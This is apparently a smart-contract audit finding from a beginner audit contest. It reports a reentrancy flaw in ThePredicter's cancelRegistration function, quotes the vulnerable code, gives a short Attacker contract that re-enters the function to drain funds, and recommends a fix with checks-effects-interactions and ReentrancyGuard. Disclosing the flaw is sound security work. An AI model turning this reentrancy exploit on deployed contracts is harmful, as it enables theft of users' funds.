First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy attack possible in `cancelRegistration` function

bbash

Summary

The cancelRegistration function in the ThePredicter contract has a potential reentrancy vulnerability. This vulnerability arises because it transfers Ether to the caller before updating the caller's status. An attacker could exploit this to repeatedly withdraw the entrance fee by re-entering the function before their status is updated.

Vulnerability Details

ThecancelRegistration function transfers Ether to the caller before updating the caller's status. An attacker can exploit this by re-entering the function in the fallback function before the status is updated, allowing them to repeatedly withdraw the entrance fee.

The issue is in this function:

https://github.com/Cyfrin/2024-07-the-predicter/blob/main/src/ThePredicter.sol#L62-L70

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

Here is an example of how an attacker can execute the attack:

contract Attacker {
ThePredicter public predicter;
address public owner;
​
constructor(address _predicter) {
predicter = ThePredicter(_predicter);
owner = msg.sender;
}
​
receive() external payable {
if (address(predicter).balance >= predicter.entranceFee()) {
predicter.cancelRegistration();
}
}
​
function attack() external payable {
require(msg.sender == owner);
predicter.register{value: msg.value}();
predicter.cancelRegistration();
}
}

Impact

The attacker can drain funds from the contract, leading to financial loss.

Tools Used

Manual Review

Recommendations

  1. Follow the "checks-effects-interactions" pattern by updating the state before making external calls.

  2. Use OpenZeppelin’s ReentrancyGuard to prevent reentrancy attacks.

Here is a refactored code with the necessary mitigation:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
contract ThePredicter is ReentrancyGuard {
...
​
function cancelRegistration() public nonReentrant {
if (playersStatus[msg.sender] == Status.Pending) {
playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
​
...
}
Updates

Lead Judging Commences

NightHawK Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.